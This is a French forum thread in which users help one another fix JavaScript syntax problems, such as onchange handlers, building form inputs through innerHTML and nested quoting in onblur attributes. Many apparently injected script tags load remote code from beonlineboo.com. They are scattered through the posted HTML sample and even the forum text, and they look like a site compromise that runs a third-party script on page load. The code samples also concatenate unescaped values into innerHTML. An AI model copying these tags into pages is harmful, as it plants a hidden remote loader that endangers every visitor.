euh, trop court pour comprendre ce qu'est censé faire ce truc.
déjà dans le onchange a priori tu n'as pas besoin du document.getElementById('valeurinput'), puis ce que tu es déjà dans l'élément et un this.value devrait suffire, enfin j'ai pas fait de javascript depuis longtemps.
10 novembre 2015 à 10:30
<!DOCTYPE html>
<html>
<head>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><meta charset="UTF-8" />
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><title>Title of the document</title>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script>
function sendData(a, b, c, d) {
document.getElementById('debug').innerHTML += "a: " + a + ", b:" + b + ", c:" + c + ", d:" + d
}
</script>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></head>
<body>
<div>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><form>
<input type="text" name="recherche" size="40" maxlength="256" id="valeurinput" onchange="sendData('alpha='+this.value,'b=rien','ajax.php','zonevisu')" />
</form>
<div id="debug">
</div>
</div>
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>
mais écrit comme tel, ça marche,
la seule limite est que le onchange se déclenche en sortie de focus du champ, pas à chaque changement, dans ce cas il faut utiliser onkeypress
Dernière modification le 01/05/16 à 01:28 par Akshell
10 novembre 2015 à 10:38
Super :)
Merci, c'est un peux la merde le javascript quand tu en fais par régulièrement.
10 novembre 2015 à 11:14
haha ok ok, je me permet juste une petit ENFOIRE
Enfin merci à toi Akshell, j'ai bien avancé dans mon programme.
C'est pas comme d'autres qui ne savent que ce moquer.
Dernière modification le 10/11/15 à 21:29 par gwendal
10 novembre 2015 à 21:27
"se moquer"
c'est le syndrome du prof, il est déjà content quand l'un de ses élèves sait tenir un stylo.
10 novembre 2015 à 21:38
carwin a écrit
C'est un peu comme l'écrit, quoi :)
Ca s'épelle "les cris", voyons.
11 novembre 2015 à 03:15
Non rien, j'arrive pas à placer du code ici c'est la merde :(
Dernière modification le 13/11/15 à 09:38 par gwendal
13 novembre 2015 à 09:37
non mais fait juste un copier coller, je peux lire la source.
13 novembre 2015 à 10:20
Donc voilà, encore un problème de syntaxe :(
function remplacediv(iddiv,idlotent,nomlotent)
{
document.getElementById(iddiv).innerHTML = "<input type='text' name='numlot' size='2' maxlength='2' value='"+idlotent+"' style='font-size: 9px'><input type='text' name='nomlot' size='40' maxlength='50' value='"+nomlotent+"' style='font-size: 9px'>";
document.getElementById(iddiv).innerHTML += "<input type='button' value='OK' style='font-size: 9px' onclick=\"sendData('nummodiflot='+numlot.value,'nommodiflot='+nomlot.value,'ajax_modiflots.php','zonevisulots')\">";
}
L'erreur dans la fenêtre programmation de chrome :
Uncaught ReferenceError: numlot is not defined
Dernière modification le 01/05/16 à 08:47 par Akshell
13 novembre 2015 à 11:12
function remplacediv(iddiv, idlotent, nomlotent) {
serial = Math.floor((Math.random() * 10000000000) + 1)
document.getElementById(iddiv).innerHTML = "<input type='text' name='numlot' id='numlot_"+serial+"' size='2' maxlength='2' value='"+idlotent+"' style='font-size: 9px'>";
document.getElementById(iddiv).innerHTML += <input type='text' name='nomlot' id='nomlot_"+serial+"' size='40' maxlength='50' value='"+nomlotent+"' style='font-size: 9px'>";
document.getElementById(iddiv).innerHTML += "<input type='button' value='OK' style='font-size: 9px' onclick=\"sendData('nummodiflot='+document.getElementById('numlot_"+serial+"').value,'nommodiflot='+document.getElementById('nomlot_"+serial+"').value,'ajax_modiflots.php','zonevisulots')\">";
}
Le problème ici est que ton bouton n'a pas accès aux autres inputs, donc pas d'accès directs aux valeurs, théoriquement tu peux à partir du bouton remonté au formulaire puis inspecté les éléments, mais c'est lourd.
Tu peux aussi utiliser le getByName, mais ça renvoie un tableau, et si tu en as plusieurs, ça devient compliqué.
alors le plus simple est de tricher: générer un serial, que tu connais quand tu génères les éléments du formulaire et l'utiliser pour générer des id uniques et lire directement les valeurs des éléments.
Dernière modification le 01/05/16 à 08:48 par Akshell
13 novembre 2015 à 12:24
il doit y avoir plus simple en utilisant le onsubmit de <!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><!--f0d54d364970ae13--><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><form> et récupérer les valeurs du formulaire à ce moment là plutôt que de gérer le onclick d'un bouton.
13 novembre 2015 à 12:26
pfffff, trop compliqué.
Tu edit les classes en php amalgmaé. De là le pointeur renvoi une data subdivisé en segments exploitable par la table d'inversion logarithmique.
Il ne reste plus qu'à rétrofitter le formulaire avec l'éditeur d'objet intégré et ton bouton marchera nickel.
Bisous les amis :)
13 novembre 2015 à 17:52
Je test cela dès lundi, merci, putain le javascript c'est quand même imbuvable.
P.S : On pourrait virer le boot volatile
13 novembre 2015 à 21:24
Akshell je t'aime :) mon script ajax / javascript machin chose est presque terminé.
17 novembre 2015 à 11:55
Encore une syntaxe qui me fait .......
function changedivlot(iddudiv,valeur,idfacture,colonne)
{
if (colonne==1)
{
var affichage="<div>";
affichage+="<input type=\"text\" name=\"refsaisie\" size=\"9\" maxlength=\"9\" value='"+valeur+"' onblur=\"sendData('alpha='+this.value,'idfacture='"+idfacture+"'&colonne=1','ajax_enrligne.php','ajaxfacture')\">";
affichage+="</div>";
document.getElementById(iddudiv).innerHTML=affichage;
}
}
j'ai une erreur : SyntaxError: missing ) after argument list
pour la ligne <input ............
Votre regarder le source comme toujours pour afficher l'ensemble du code :(
Dernière modification le 29/04/16 à 22:44 par Akshell
29 avril 2016 à 16:12
Akshell a écrit
désolé mais là je ne vois pas le problème
Clique sur "citer". Y'a du code qui ne se voit pas.
29 avril 2016 à 22:24
tu encadres ta chaines par tes guillemets et puis d'un coup vers alpha= tu décides que c'est des simples quotes, alors que ces quotes doivent faire partie de ta chaine résultante.
C'est pas clair ce que je dis, tldr : remplacer alpha=' par alpha=" et te démerder pour la suite ;)
Dernière modification le 30/04/16 à 13:47 par Cyp
30 avril 2016 à 13:45
parce que alpha est une chaine passé à une fonction javascript dans une propriété onblur, tu n'as pas le choix.
30 avril 2016 à 14:21
Mé Wè ! Je suis tout à fait d'accord ! program.mybreakingbad quand c'est passé sur une chaîne, ça m'a trop rendu on.blurred !!!
30 avril 2016 à 19:33
function changedivlot(iddudiv,valeur,idfacture,colonne) {
if (colonne==1) {
var affichage="<div>";
affichage+="<input type=\"text\" name=\"refsaisie\" size=\"9\" maxlength=\"9\" value='"+valeur+"'"
+ " onblur=\"sendData('alpha='+this.value,'idfacture="+idfacture+"&colonne=1','ajax_enrligne.php','ajaxfacture')\">";
affichage+="</div>";
document.getElementById(iddudiv).innerHTML=affichage;
}
}
il y a effectivement une paire de simple quote en trop autour de idfacture, comme il fait parti du second paramètre de la fonction et qu'elle est déjà protégé, tu as seulement besoin des double quotes pour l'insérer dans la chaîne.
Dernière modification le 01/05/16 à 09:02 par Akshell
01 mai 2016 à 08:59
Merci, je commence à comprendre.
Je programme surtout en php et cette logique est bizarre. Mais bon il est vrai qu'il y à enormement d'imbrication avex l'ajax.
Encore merci
01 mai 2016 à 09:20
<mode Selune>
Oui, mais ça récure bien.
</mode Selune>
p.s.: rapport à la récursivité.
01 mai 2016 à 09:26
test³+1
Dernière modification le 01/05/16 à 13:04 par Akshell
01 mai 2016 à 10:59
Répondre au sujet
Vous devez être identifié pour participer à ce topic.